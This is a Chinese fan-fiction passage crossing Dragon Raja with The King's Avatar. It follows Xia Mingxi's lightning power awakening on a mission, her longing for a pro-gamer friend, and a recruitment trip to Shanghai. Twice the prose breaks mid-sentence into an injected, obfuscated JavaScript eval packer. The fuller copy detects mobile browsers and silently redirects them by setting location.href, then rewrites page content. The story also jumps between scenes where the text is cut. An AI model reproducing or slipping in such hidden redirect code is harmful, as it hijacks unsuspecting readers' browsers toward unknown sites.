言灵。这是混血种与生俱来的、刻在血脉深处的力量,通过吟诵龙文来引发超自然现象。每个人的言灵各不相同,威力与特性也天差地别。父亲的刹那属于强化自身型,而她被预测拥有的雷池,则属于典型的元素操控型,且是破坏力极强的类别。 然而在卡塞尔学院,由于副校长常年维持着覆盖整个校园的戒律领域,所有言灵都被强制静默,无法使用。这既是为了保障校园安全,防止能力失控,也是一种保护。所以夏明晞至今未曾真正尝试过雷池,只能通过理论课了解元素操控型言灵的基本原理和风险,并通过体能、反应和意志力训练来为将来可能的能力觉醒做准备。古德里安教授再三叮嘱,在未经系统训练和许可的情况下,绝不可在外界尝试激发言灵,尤其是雷池这种高危类型。 不能使用言灵,并未影响她在其他方面的表现。或许是因为心中憋着一股说不清道不明的劲,她在各项训练上都投入了惊人的专注与努力。实战课上,她出手干脆利落,善于观察和利用环境;潜水与水下作战更是她的强项,闭气时间与水下适应性让教官都点头称赞。冷兵器训练她选择了父亲用过的匕首,从最初的生涩到如今的流畅,无数个夜晚在训练室挥洒的汗水,只有墙壁和镜中的自己知道。 古德里安教授对她的成绩单总是赞不绝口:“出色的身体素质,冷静的判断力,还有这种……嗯,潜在的爆发力!夏明晞,你比你父亲当年的综合评价还要均衡!雷池……啧啧,真是让人期待又得小心引导的力量啊。” 夏明晞通常会安静地听着,然后礼貌地道谢。教授是真心的赞赏,她明白。但这样的夸奖听多了,肩头仿佛又沉了一分。好像她必须优秀,必须沿着父亲走过的路走下去,才不辜负某些期望。这期望来自教授,来自学院,或许,也来自她记忆里那个模糊却始终温暖的、名叫“父亲”的影子。但“雷池”这个词,以及背后代表的那种狂暴的自然之力,有时会让她在深夜感到一丝不安。她真的能控制那种力量吗?像控制自己的手指一样? 真正的考验来得比想象中快。入学第一年的下半学期,她便以实习生的身份,被编入了一个由执行部资深专员带领的调查小队。任务是前往南美洲某处雨林边缘的废弃研究所,搜寻可能与龙族相关的异常线索。小队成员除了她和另一位同样作为见习生的同级生,便是两位已经毕业数年、经验丰富的执行部专员,叶胜和酒德亚纪。 那是一次让她终身难忘的经历。阴暗潮湿的废弃建筑,弥漫着陈腐与铁锈的气息。手电筒的光束切开黑暗,照亮墙壁上诡异褪色的符号和干涸发黑的可疑痕迹。空气里有种淡淡的、令人不安的腥甜味。一切都在寂静中透着不祥。 然后,在研究所最深处的封闭实验室里,他们遭遇了死侍。 那已经不能称之为“人”了。扭曲佝偻的躯体覆盖着细密的灰白色鳞片,指爪尖锐如钩,在微弱光线下泛着冷光。它的动作快得诡异,带着非人的僵硬与迅猛,喉咙里发出嗬嗬的、仿佛漏气风箱般的嘶鸣,一双只剩下野兽般凶残与混沌的暗金色眼睛,死死锁定了闯入者。 同行的见习生当场脸色煞白,胃里翻腾,差点吐出来。就连叶胜和酒德亚纪也瞬间进入高度戒备状态,武器出鞘,气息凝重。 夏明晞站在队伍中段,握紧了手中的战术手电和配发的短刃。心脏在胸腔里沉重而规律地搏动,一下,又一下。她看着那个可怖的、介于人与怪物之间的存在,奇怪的是,预想中的恐惧与恶心并没有如潮水般涌来。反而是一种异常冰冷的平静,像深秋的湖水,缓缓漫过心间。 死侍嘶吼着扑向最近的叶胜,速度惊人。叶胜侧身闪避,刀刃与利爪碰撞,溅起一溜火星。酒德亚纪试图从侧面牵制,但死侍的力量和速度超乎预期,一个凶狠的横扫就将她逼退。 混乱中,那东西突然改变了目标,布满鳞片的头颅猛地转向夏明晞的方向,暗金色的瞳孔锁定了她,那种纯粹的、掠食者般的恶意让她浑身汗毛倒竖。它放弃了与叶胜的缠斗,四肢着地,以一种诡异的角度疾冲过来,腥风扑面! “躲开!”叶胜的警告声传来。 夏明晞想动,但身体仿佛被那充满恶意的视线钉住了片刻。就在死侍尖锐的爪子即将触及她面门的刹那—— 嗡! 一种奇异的嗡鸣在她脑海中炸开,并非声音,而是某种强烈的、电流般的震颤感。视野瞬间变得清晰无比,空气中每一个漂浮的灰尘,死侍鳞片上每一丝晦暗的反光,都看得清清楚楚。与此同时,一股灼热的、狂暴的力量从心脏的位置汹涌而出,顺着脊椎直冲头顶! 她的眼睛猛地睁大。 不是平时戴美瞳时的深棕色,也不是偶尔失控时闪过的普通金色。那一瞬间,她的瞳孔深处,有细密的、炽亮的银白色雷光骤然闪过,像是乌云深处酝酿的闪电,一闪即逝,却带着令人心悸的威严与毁灭气息。 言灵·雷池。 她甚至没有时间去思考,没有去回忆任何关于言灵的知识。身体的本能,或者说血脉中沉睡的巨兽,在生死危机前自动发出了咆哮。 没有完整的龙文吟唱,没有蓄力的过程。就在那双雷光隐现的眼眸注视下,死侍扑击的动作仿佛遭遇了无形的屏障,猛地一滞。紧接着—— 噼啪! 一道细长而刺眼的蓝白色电弧,毫无征兆地从夏明晞身前不足半米的空气中迸发出来,它不像自然界的闪电那样曲折,反而笔直如枪,带着灼热的气流和刺鼻的臭氧味,精准地击打在死侍抬起的前肢关节处! “嗷——!” 死侍发出一声尖叫,扑击的势头被硬生生打断,布满鳞片的前肢冒起一股青烟,动作出现了明显的僵硬和失衡。 这突如其来的变故让叶胜和酒德亚纪都怔了零点几秒,但丰富的经验让他们立刻抓住机会。叶胜踏步上前,手中的刀光如匹练般斩落,精准地切入了死侍因受创而暴露的脖颈缝隙。酒德亚纪也几乎同时补上了致命一击。 战斗在几秒钟内结束。死侍扭曲的身体抽搐了几下,终于不再动弹,那股令人作呕的恶意气息缓缓消散。 废弃实验室里重新恢复了寂静,只剩下几人粗重的喘息声,和空气中残留的、淡淡的焦糊与臭氧混合的怪异味道。 夏明晞站在原地,浑身脱力般微微发抖。刚才那道电弧出现得突然,消失得也快,仿佛耗尽了某种东西。眼中那炽亮的雷光早已隐去,只剩下惊魂未定的茫然,和一种深深的、源自身体内部的虚弱感。她低头看了看自己的手,指尖似乎还残留着细微的麻刺感。 叶胜和酒德亚纪迅速检查了现场,确认安全后,才走到夏明晞面前。两人看着她的眼神充满了惊讶与审视。 “刚才那是……”酒德亚纪语气迟疑,目光落在夏明晞还有些苍白的脸上,“言灵?你用的?” 夏明晞张了张嘴,喉咙有些干涩,最终只是点了点头。她自己也说不清刚才到底发生了什么,一切都发生得太快,像一场短暂的、不受控制的梦魇。 叶胜蹲下身,仔细查看了死侍前肢上那道焦黑的、深可见骨的伤痕,又抬头看了看夏明晞,眼神复杂:“在没有戒律压制的外界,初次遭遇高危情境,言灵自发护主……这种情况不是没有先例,但通常发生在血统极为纯粹、或者言灵本身极具攻击性的个体身上。”他顿了顿,“你的言灵……是雷电相关的?” “雷池。”夏明晞低声回答,声音还有些不稳,“教授是这么说的。但我……我不知道它会这样……” “威力不小,而且控制精度在无意识状态下算很不错了,只是瞄准了关节而非躯体,造成了有效的打断。”叶胜站起身,语气恢复了平静,甚至带上了一丝赞许,“第一次实战遭遇死侍,没有惊慌失措,还能在危急关头引发言灵自救并创造战机,心理素质和本能反应都值得肯定。不过,”他话锋一转,表情严肃起来,“回去后必须立刻向你的导师和学院报告这次意外。雷池是高位言灵,未经训练擅自使用非常危险,既可能伤及同伴,也可能对你自己造成反噬。今天的状况是特例,在得到系统指导前,绝不能再尝试激发它,明白吗?” 夏明晞用力点头:“明白。” 回程的路上,她一直很沉默。靠在运输机的椅背上,看着窗外掠过的云层,手心里似乎还残留着那种微弱的电流感和之后的虚脱。刚才那短短一瞬的爆发,让她真切地触摸到了自己血脉中隐藏的、狂暴而危险的一面。那不是书本上的名词,不是教授口中的期待,是真实的、可以夺走生命的力量。 她想起父亲,想起他可能也曾在某个时刻,驾驭着刹那的速度,与类似的或更可怕的东西战斗。那是一种怎样的感受? 任务报告提交后,古德里安教授既后怕又兴奋,抓着夏明晞反复叮嘱安全事项,同时又忍不住对雷池初次展现的威力啧啧称奇。执行部那边的评价也传了过来,叶胜和酒德亚纪在报告中对她的临场表现给予了不错的评价,但也着重强调了立即进行系统性的言灵控制训练的必要性。 夏明晞只是平静地接受了这些评价。她自己也说不上来为什么当时能那么镇定。或许,是因为父亲档案里那些语焉不详却血迹斑斑的记录,早已在潜意识里为她描绘过更可怕的图景;又或许,是血液里流淌的某些东西,在面对同类的威胁时,本能地选择了战斗而非退缩。 接下来,除了常规课业,夏明晞的日程里加入了一对一的言灵基础理论与控制入门课程,由一位专门负责高危言灵引导的资深□□负责。进展缓慢而谨慎,主要是冥想、呼吸控制和情绪稳定训练,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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视频开始播放。背景是简洁的采访间,轮回战队黑黄相间的队徽很醒目。周泽楷坐在深灰色的沙发上,穿着同色系的队服外套,里面是简单的白色T恤。他看起来比一年前结实了一些,脸部轮廓更分明,头发修剪得干净利落。面对主持人的提问,他回答得简短,有时甚至只是点点头,或吐出几个简洁的音节。 “恭喜轮回在夏季赛后半程表现出色,也恭喜周队正式接任队长,并继承了神级角色一枪穿云。此刻心情如何?” “还好。” “很多粉丝都说您赛场上下反差很大,场上犀利果决,场下却非常……惜字如金。您自己怎么看这种评价?” “习惯而已。” “职业生涯初期就担任队长,压力大吗?如何调节?” “靠训练。” “对未来有什么目标?比如……冠军?” 这一次,周泽楷沉默的时间略长了一瞬,然后他抬起眼,目光平静却坚定地看向镜头,清晰地吐出一个字:“想。” “哪个冠军呢?”主持人追问。 “所有的。”他的回答没有任何犹豫。 视频不长,掐头去尾,主要采访内容大概只有六分钟。夏明晞却反复看了三遍。第一遍,她近乎贪婪地看着画面里的人,试图从那张没什么表情的脸上找出熟悉的痕迹。第二遍,她听他说出的每一个字,那声音比记忆中低沉了一些,褪去了少年的清亮,多了几分沉稳。第三遍,她看着他提到冠军时眼中一闪而过的光芒,那光芒很熟悉,是周泽楷决定要做某事时,才会有的专注与执着。 只是以前,那光芒是为了解开一道难题,赢下一场篮球赛,或者仅仅是和她一起完成某个小小的约定。而现在,这光芒指向的是一个更广阔、更残酷、也更耀眼的舞台。 他真的做到了。成了职业选手,成了队长,继承了她曾听他提起过、眼里带着光描述的那个顶尖角色。他走上了一条她从未设想过的路,并且,走得很好。 而她,坐在万里之外一所隐藏着世界另一面的学院宿舍里,穿着睡衣,喝着速溶咖啡,看着他的采访视频。 他们之间的距离,何止是隔着屏幕和大洋。 “啧啧,看得这么入迷?谁啊?” 诺诺的声音带着笑意突然在身后响起,吓得夏明晞手一抖,差点碰翻咖啡杯。她下意识地就要合上笔记本,诺诺却动作更快,一只手臂从她肩后伸过来,按住了屏幕边缘。 “哎,别关嘛,让我看看……”诺诺弯下腰,凑近屏幕,红发扫过夏明晞的耳畔,“哦——周泽楷,轮回战队那个新队长嘛。可以啊明晞,眼光不错!这颜值,这气质,啧啧,跟楚子航那冰山有得一拼。不过去打电竞是不是有点浪费?这条件,包装一下出道当偶像绝对爆红啊!” 夏明晞已经迅速收敛了脸上的神色,伸手推开诺诺按着屏幕的手,啪的一声合上了笔记本电脑。“瞎说什么呢。”她的声音听起来很平静,甚至带着一点被调侃后的无奈,“就是以前认识的一个朋友,突然看到新闻,有点意外而已。” “朋友?”诺诺直起身,绕到沙发前面,抱着手臂,歪着头打量夏明晞,眼里闪着促狭的光,“普通朋友你能盯着看了一遍又一遍?脸都快贴屏幕上去了。老实交代,是不是前男友?校园初恋?爱而不得的白月光?” “不是。”夏明晞端起已经凉掉的咖啡喝了一口,避开诺诺探究的视线,“就是以前的同学,关系比较好而已。很久没联系了。” “哦——同学,关系好,很久没联系。”诺诺拖长了音调,显然不信,但也没再穷追猛打,一屁股在夏明晞旁边坐下,抢过她手里的咖啡杯自己喝了一大口,“噫,都凉了,难喝。你怎么不泡新的?” “懒得动。”夏明晞拿回杯子,放到一边。 诺诺伸了个懒腰,转过头,脸上又露出那种兴致勃勃的表情:“说真的,你那朋友,游戏打得特别好?我看网上吹得挺厉害的,什么荣耀第一神枪,沉默的枪王。” “他以前就很厉害。”夏明晞轻声说,目光落在合上的笔记本外壳上,“我们学校没人打得过他。” “那你呢?你玩过吗?” “看他玩过。我不太会,也觉得没什么意思。”夏明晞摇摇头。这是实话,那时候周泽楷试图教她,但她总是操作得手忙脚乱,最后干脆放弃,只坐在旁边看他玩,听他讲解那些复杂的技能和战术。现在想来,那或许是她离他的世界最近的时候,虽然她从未真正走进去。 “可惜了。”诺诺咂咂嘴,“要是你也玩,说不定还能在游戏里重逢,上演一段浪漫的……呃,网络情缘?”她自己说着都觉得好笑,咯咯地笑了起来。 夏明晞没接这个话茬,转而问道:“学生会下周的舞会,你礼服选好了吗?” “早就选好啦!”诺诺的注意力果然被转移,立刻坐直身体,眼睛发亮,“一条正红色的,特别衬我!恺撒说他穿黑色的礼服配我。你呢?我上次给你看的那条白的,考虑得怎么样?保证好看!” “嗯,就那条吧。”夏明晞没什么犹豫地答应了。她知道诺诺在这方面有近乎偏执的热情,拒绝只会引来更多纠缠。 “太好了!”诺诺开心地拍手,“到时候我给你化妆,保证让你成为第二个焦点!” “第一个焦点是你,行了吧。”夏明晞无奈地笑。 窗外的天色不知何时暗了下来,晚霞给枫叶镀上一层暖融融的金边。远处钟楼传来悠长的报时声,提醒着学生们晚餐时间的临近。 诺诺跳起来,拉着夏明晞:“走走走,吃饭去!听说今晚食堂有不错的甜点,去晚了就被抢光了!” 夏明晞被她拉着站起身,随手将笔记本电脑放到书桌上。屏幕漆黑,倒映出窗外渐浓的暮色,和她自己有些模糊的轮廓。 她跟着诺诺走出宿舍,轻轻带上了门。走廊里灯火通明,充满了年轻学生们喧闹的说笑声,食物的香气从楼梯口隐约飘来。这是她此刻的现实,鲜活,具体,不容回避。 而千里之外,另一条人生轨迹上的那个人,此刻大概也在为他的比赛,他的冠军,进行着日复一日的训练吧。 他们都在各自的路上,往前走。 9. 晚风月光与少年(一) 这天傍晚,夏明晞结束了一天的训练,拖着有些疲惫的身体回到宿舍。推开门的瞬间,她愣了一下。 宿舍里没开大灯,只有书桌前那盏护眼台灯亮着暖黄色的光。光线笼罩下,诺诺竟然破天荒的端端正正地坐在电脑前,戴着耳机,手指在键盘和鼠标上飞快地操作着,屏幕的光映在她专注的脸上,显得和平日里那个跳脱张扬的她判若两人。 夏明晞轻轻关上门,把训练背包放在门边,脱下外套挂好,动作都放得很轻。她印象里的诺诺,不是拉着恺撒到处疯玩,就是在学生会呼朋引伴搞事情,要么就是对着时尚杂志研究穿搭,很少有这样安安静静坐在电脑前打游戏的时候。她好像对电子游戏一向兴趣缺缺,总说“哪有飙车逛街有意思”。 好奇心驱使下,夏明晞放轻脚步走了过去,想看看诺诺到底在玩什么。屏幕上是一片深蓝色的宇宙背景,各种颜色和形状的飞船、建筑散落分布,界面复杂,信息量巨大。她辨认了一会儿,才看出这是星际争霸,一款她听说过但从未玩过的即时战略游戏。 此刻,诺诺操控的一方正以压倒性的优势推进,兵种搭配合理,操作精准犀利,地图视野控制得极好,几乎将对手完全压制在基地一角。对方显然已经无力回天,正在做最后的挣扎。 夏明晞看到诺诺在聊天框里快速地打了一行字:“你在升级三级基地。” 对方沉默了几秒钟,大概是在确认战局。然后,公共频道里跳出了两个字母:“GG。” 紧接着,对方又打了一句:“厉害。今天状态不好,改天再战。” 诺诺随手回了个笑脸表情,退出了游戏。她似乎长舒了一口气,身体向后靠在椅背上,抬手就想伸个懒腰。这一扭头,才猛地发现夏明晞就站在她身后,正抱着手臂,一脸探究地看着她。 “哇!”诺诺吓得差点从椅子上跳起来,抚着胸口,“明晞!你什么时候回来的?怎么一点声音都没有!吓死我了!” 夏明晞没接她的话茬,目光落在已经返回游戏大厅界面的屏幕上,又看了看诺诺脸上还没来得及完全褪去的、那种属于胜利者的专注神采,挑了挑眉:“你什么时候会打这种游戏了?还打得……好像还不错?” 她回想刚才看到的操作和战术意识,那绝不是一个新手能做到的。 诺诺眨了眨眼,脸上立刻换上了一副得意又神秘的表情,她把转椅一转,正对着夏明晞:“随便玩玩嘛,打发时间。而且——”她拖长了音调,“我有诺玛在啊!我的外置大脑。我和诺玛联手,打这种游戏还不是小菜一碟,很无敌的,你懂吗?” 夏明晞当然知道诺玛是谁——卡塞尔学院的人工智能主机,学院日常运作、信息处理、甚至部分研究都离不开它。她难以置信地看着诺诺:“你……你让学院的主机人工智能帮你打游戏?这……这也太堕落了吧!” 她简直不知道该用什么表情面对这个操作。 “你不懂!”诺诺做了个夸张的鬼脸,从椅子上蹦起来,拉着夏明晞的手臂把她拽到电脑前,指着屏幕侧边一个缩小的聊天窗口。窗口里,ID叫明明的人正在说话,语气带着点沮丧和佩服:“今天状态真差,被你完虐了。你这运营和微操也太强了吧,怎么练的?” 诺玛的回复则显得很官方:“多练习,多看比赛录像。” 诺诺指着那个明明,压低声音,带着一种分享秘密的兴奋:“看到没?这就是过几天要来学院报到的新生,路明非!S级的哦!超级稀有的S级!我在提前考察他呢!” 夏明晞看着那个普通的ID,又看了看诺诺闪闪发光的眼睛,有点跟不上她的思路:“考察?在游戏里虐人家一顿,顺便……把人家身份资料也考察了?” 她指了指屏幕一角,那里有个不起眼的窗口,滚动着一些数据流和代码片段,显然不是游戏自带的。以诺玛的帮助,查到对方IP关联的一些基础信息并不奇怪。 “哎呀,细节不要在意!”诺诺挥挥手,一副“这都不是重点”的表情,“重点是,这可是S级!校长和教授们都很重视的。我先接触接触,了解一下嘛。而且你看,他在游戏里被我打得毫无还手之力,这说明什么?说明他至少在这个领域不是我的对手!” 夏明晞忍不住翻了个白眼:“你的逻辑真够清奇的。所以呢?考察完了,任务完成,学分到手?” “还没呢!”诺诺突然抓住夏明晞的胳膊,激动地晃了晃,“我和你说,你可别想逃啊!” “逃什么?”夏明晞被她抓得莫名其妙,挑了挑眉,另一只手顺手拉开了小冰箱门,从里面拿出一盒冰镇牛奶,插上吸管。冰凉的液体滑入喉咙,缓解了一些训练后的疲惫。 “过两天啊!”诺诺凑近她,几乎要贴到她脸上,“你和我,得去中国一趟,把这个S级宝贝新生路明非同学,亲自接回学院!校长亲自下的指令,诺玛协调的任务,指定我们俩去!” 夏明晞喝牛奶的动作顿住了,有些愕然地看着诺诺。 诺诺继续语速飞快地说:“你可别说不去!我一个人跑那么远,人生地不熟的,多无聊啊!而且你知道任务地点在哪儿吗?上海!你老家哎!你不得尽尽地主之谊,带我好好转转,吃遍上海美食?再说了,”她换上一副“我都是为了你好”的表情,“这可是重要任务,完成了学分奖励很高的!我把这么好的机会分你一半,看我多贴心,多够朋友!” 夏明晞看着诺诺脸上那种“你肯定拒绝不了”的笃定笑容,又想到“上海”这两个字,心里确实动了一下。回去……哪怕只是短暂停留,也能离母亲近一些。而且,诺诺说得对,让她一个人去,确实不太放心,以诺诺的性格,指不定在上海能闹出什么幺蛾子。 她无奈地叹了口气,知道自己是拗不过诺诺的:“行吧,我去。” “耶!太好了!”诺诺高兴地欢呼一声,松开手,在原地转了个圈。 夏明晞又吸了一口牛奶,眼神却有些飘忽。上海……除了家,这个名字还让她立刻想起了另一个人。她记得周泽楷的轮回战队,基地好像就在上海。他应该也在那里训练、生活吧?不知道他们去的时候,会不会刚好有比赛…… 这个念头一旦冒出来,就有点按捺不住。她几乎是下意识地,拿出手机,解锁,点开了浏览器。手指在搜索框里停顿了一下,然后飞快地输入“轮回战队赛程”。 页面刷新得很快。荣耀职业联赛的官方网站清晰地列出了各大战队的比赛安排。她很快找到了轮回战队近期的信息。果然,就在他们预计抵达上海后的那个周末,轮回战队有一场主场比赛,对手是来自G市的蓝雨战队。 她的目光停留在那个日期和主场两个字上,手指无意识地滑动着屏幕,点开了对战详情,又退出来,再点开…… “喂,发什么呆呢?”诺诺的声音打断了她的思绪。 夏明晞回过神,发现诺诺不知什么时候又凑了过来,正踮着脚尖,歪着头看她手机屏幕。屏幕上,赫然是轮回战队对阵蓝雨的比赛预告页面,最上方还有轮回战队的队徽和周泽楷的宣传照。那是他穿着队服,手持双枪虚拟角色的一个侧面定格,眼神锐利,带着赛场上的锋芒。 诺诺的眼睛一下子瞪大了,随即,嘴角慢慢咧开,露出一个“被我抓到了”的坏笑。她直起身,双手叉腰,用一种夸张的、拖长了调子的语气说道: “好——你——个——夏——明——晞!” 夏明晞心里一紧,条件反射地想按熄屏幕,但诺诺动作更快,一把按住了她的手腕。 “还说你跟那个叫周泽楷的,只是普通同学?只是以前认识的朋友?”诺诺凑近她,眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088450|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮晶晶的,充满了促狭和发现秘密的兴奋,“糊弄谁呢你!普通同学你会这么巴巴地去查人家战队的比赛日程?还是主场赛!还看得这么入神!” 她伸出另一只手,食指在空中虚点着夏明晞,表情活像抓住了学生早恋的教导主任:“被我逮到了吧!明明就是你爱而不得的白月光,对不对?藏得够深的呀夏明晞同学!” 夏明晞的脸颊微微有些发热,她挣开诺诺的手,把手机屏幕按熄,塞回口袋,语气努力维持着平静:“你别瞎说。我就是……顺手查一下。好歹认识一场,看看他比赛时间怎么了?而且那是上海主场,万一我们到时候有空,去看看比赛也不奇怪吧?荣耀比赛现场,听说气氛挺热闹的。” 她这话说得半真半假,试图把动机往顺便和好奇上引。 诺诺却完全不信,她抱着手臂,绕着夏明晞走了一圈,上下打量着她,嘴里啧啧有声:“编,继续编。还‘看看比赛也不奇怪’?你这理由找得也太敷衍了。我跟你住一年了,就没见你对哪个游戏比赛、哪个明星选手感兴趣过!怎么偏偏对这个周泽楷,就这么顺手?” 她停下脚步,站到夏明晞面前,脸上的笑容收敛了一些,变得有点认真,又带着点好奇:“喂,说真的,你和他……到底怎么回事?你跑来卡塞尔,跟他有关系吗?” 夏明晞的心猛地沉了一下。诺诺这个问题,无意中戳中了她心底最深处、也最复杂的结。她来卡塞尔,是因为她的血统,因为那个黑色的信封,因为父亲的过去……这一切,都和周泽楷无关,却又因为她的离开,而将他牵扯了进来。 “没有。”她垂下眼帘,看着手中还剩一半的牛奶盒,声音很轻,但很清晰,“我来这里,是我自己的原因,跟他没关系。” 诺诺盯着她看了几秒,似乎从她瞬间低沉下去的情绪和那句简单的回答里,察觉到了什么。她没有再继续追问细节,只是拍了拍夏明晞的肩膀,语气恢复了平常的轻快:“好啦好啦,不想说就算了。不过——”她又笑起来,带着点狡黠,“这次去上海,要是时间凑巧,我们真去看比赛怎么样?我也想见识见识,能让我们夏明晞同学顺手查赛程的人,打游戏到底有多厉害。而且,现场看看你这位白月光,真人是不是比视频里还帅!” 夏明晞抬起头,看着诺诺。诺诺眼里是纯粹的好奇和促狭,并没有更深层的探究或同情。这反而让夏明晞松了口气。她知道诺诺虽然爱闹,但懂得分寸。 “到时候看情况吧。”夏明晞没有直接答应,也没有再否认什么,只是含糊地说了一句,“任务优先。” “知道啦,任务优先!”诺诺模仿着她的语气,然后蹦跳着回到自己的书桌前,重新打开游戏界面,“我再跟这个未来的S级小朋友玩两把,摸摸底细。你赶紧收拾收拾,想想回上海带我去哪儿吃好吃的!我可是很期待的!” 夏明晞看着诺诺兴奋的背影,又摸了摸口袋里的手机。上海,比赛,周泽楷……这些词汇在脑海里盘旋。 她走到窗边,推开窗户。傍晚的风带着凉意吹进来,拂动了窗帘。远处,卡塞尔学院古老的建筑群在渐暗的天光下显得静谧而庄严。而很快,她就要暂时离开这里,回到那个熟悉的、却又似乎已经有些陌生的城市。 心里说不出是什么滋味。有对即将回家的隐约期待,有对可能遇见故人的复杂忐忑,也有对执行任务的认真思考。各种情绪交织在一起,像窗外被风吹乱的云。 上海,比赛,周泽楷……这些词汇在她脑海里盘旋。回去,似乎不仅仅是执行一个任务那么简单了。那扇被她亲手关上的、通往过去世界的门,好像因为这次意外的行程,又被推开了一条缝隙。 她静静地站了一会儿,直到晚风将最后一丝燥热也带走,才关上窗户,转身开始收拾行李。 10. 晚风月光与少年(二) 两天后的清晨,天刚蒙蒙亮,卡塞尔学院的专车便停在了女生宿舍楼下。 夏明晞拖着一个小型行李箱走下来,身上穿着方便行动的卡其色风衣和深色长裤,头发在脑后扎成一个利落的马尾。清晨的空气带着寒意,她轻轻呼出一口白气,看着那辆深黑色的SUV。 驾驶座的门开了,下来的人让她微微一愣,没想到是叶胜。他依旧穿着那身干练的黑色作战服,外面套了件同色的夹克,脸上没什么特别的表情,只是朝她点了点头:“早,夏明晞。” “叶胜师兄早。”夏明晞回应道。 紧接着,副驾驶和后座的车门也陆续打开。后座钻出来的是酒德亚纪,她今天没穿执行部的标准装束,而是换了一身浅灰色的休闲套装,长发柔顺地披在肩上,看到夏明晞,她笑着挥了挥手:“明晞,又见面了。” 而从前座副驾下来的,则是满面红光、看起来比谁都兴奋的古德里安教授。他抱着一台平板电脑,身上那件略显皱巴的西装外套似乎还是上次见面时那件,见到夏明晞,他立刻热情地招呼:“夏明晞同学!准备好了吗?这次可是重要任务!” “教授早,准备好了。”夏明晞应道,心里却有些疑惑。接一个新生,需要出动两位执行部的资深专员,再加上教授,还有她和诺诺?这阵仗是不是有点太大了? 就在这时,宿舍楼门被砰地一声推开,诺诺风风火火地冲了出来。她今天倒是穿得很“正常”——如果忽略她脚上那双镶着亮片的短靴和脖子上那条过分醒目的红色丝巾的话。她只背了个不大的双肩包,跑到车边,先冲古德里安教授嘻嘻一笑:“教授早!”然后目光扫过叶胜和酒德亚纪,眼睛一亮:“哟,叶胜师兄,亚纪师姐!你们也去?太好了,有你们在肯定稳了!” “这次任务由我们负责外围接应和安全评估。”叶胜简洁地解释道,拉开了后座的车门,“先上车吧,路上说。” 一行五人上了车。叶胜开车,酒德亚纪坐在副驾,古德里安教授、诺诺和夏明晞挤在后排。车子平稳地驶出校园,开上通往机场的公路。 路上,古德里安教授抱着平板,开始详细说明任务情况。 “这次我们的目标非常明确,就是这位路明非同学,即将入学的S级新生。”教授点开路明非的基本资料页面,一张看起来有些普通的男生照片出现在屏幕上,表情带着点高中生特有的青涩和茫然。“校长对这位同学寄予厚望,他的血统评定非常特殊,是近十年来唯一的S级。所以,确保他能顺利、并且自愿地来到卡塞尔学院,是重中之重。” “S级啊……”诺诺咂咂嘴,凑近屏幕仔细看了看照片,“看起来挺普通的嘛,不像楚子航那种冰山脸,也不像恺撒那种……嗯,闪闪发光。” “血统的体现是多样化的。”古德里安教授一本正经严肃地说,“路明非同学的情况比较特别,他本人似乎对自己的情况并不完全了解,甚至可能抱有疑虑。我们收到情报,他所在的仕兰中学,这次会被纳入卡塞尔学院的常规优秀生源选拔面试范围。当然,这只是个幌子,真正的目标只有他一个。” “幌子?”夏明晞轻声重复。 “对。”酒德亚纪从前座回过头来,解释道,“我们会以正规招生面试的形式进入仕兰中学,对所有符合初步筛选条件的学生进行一次集体面试。这样做是为了不引起路明非同学,以及他周围人的过度关注和怀疑。面试本身是真实的,也会有一些真正符合条件的学生得到机会,但我们的核心目标,是确保路明非同学通过面试,并愿意接受我们的录取。” 诺诺举起手,像课堂上提问一样:“教授,如果他面试没通过呢?或者他通过了但就是不想来呢?” 古德里安教授脸上露出一种“早就料到你会这么问”的表情,他清了清嗓子,声音压低了一些,带着点神秘的意味:“所以,我们制定了周密的计划。除了常规的面试流程和条件说明,我们还准备了……嗯……辅助方案。” 叶胜目视前方开着车,接话道,语气一如既往的平稳:“教授指的辅助方案,主要落在你和夏明晞身上。” 夏明晞和诺诺同时看向教授。 古德里安教授搓了搓手,有点不好意思,又有点期待地看着她们俩:“你们看,路明非同学是个十八岁的男生,正值青春年华。根据诺玛的心理侧写和有限的行为数据分析,这个年龄段的男生,对于一些……呃……美好的事物,总是会比较容易产生好感和信任感。” 诺诺眨眨眼,突然噗嗤一声笑了出来,她用手指点了点自己的脸颊,又指了指夏明晞:“教授,您该不会是想让我们俩去使美人计吧?” 夏明晞一听,眉头立刻皱了起来,看向教授的眼神里写满了不赞同和一丝荒谬。 古德里安教授连忙摆手:“不是不是,不能这么说!太庸俗了!我的意思是,你们两位,是我们卡塞尔学院这一届最优秀、也最具代表性的女生代表。夏明晞同学沉静可靠,陈墨瞳同学热情开朗,而且你们的外形条件都非常出众,在学院内部的人气调查和……呃……那个什么校花榜上,也是名列前茅的嘛!”他说到“校花榜”的时候,声音明显含糊了一下,似乎觉得这个话题不太符合教授的身份。 诺诺倒是毫不介意,反而挺了挺胸,一脸得意:“那是!我可是第一!”然后她用手肘捅了捅旁边的夏明晞,“你是第二,也不错啦!” 夏明晞没好气地推开她的手,对教授说:“教授,我不觉得这是个好主意。录取学生应该看重的是他的潜质和意愿,而不是……” “我明白,我明白。”古德里安教授打断她,表情认真起来,“这只是一个辅助手段,或者说,创造一个更良好的初次接触氛围。最终的决定权当然在路明非同学自己手里,我们也会向他充分展示卡塞尔学院的真实情况和使命。但第一印象很重要,对吧?如果他能对代表着学院的你们产生初步的信任和好感,那么后续的沟通就会顺利很多。这无关其他,只是一种沟通策略。” 酒德亚纪也补充道:“明晞,别太有压力。教授的意思不是让你们去做超出范围的事情。只是在面试前后,以师姐的身份,和路明非同学自然交流,解答他的一些疑虑,让他感受到学院的氛围是友好而包容的。你们本身也是新生,年龄相仿,会有更多共同话题。” 叶胜从后视镜里看了夏明晞一眼,淡淡道:“任务核心是确保目标人物顺利接收并认同录取意向。任何在不违背原则前提下,能提高成功率的合理方式,都可以作为备选方案。你们只需保持自然,做你们自己就好。” 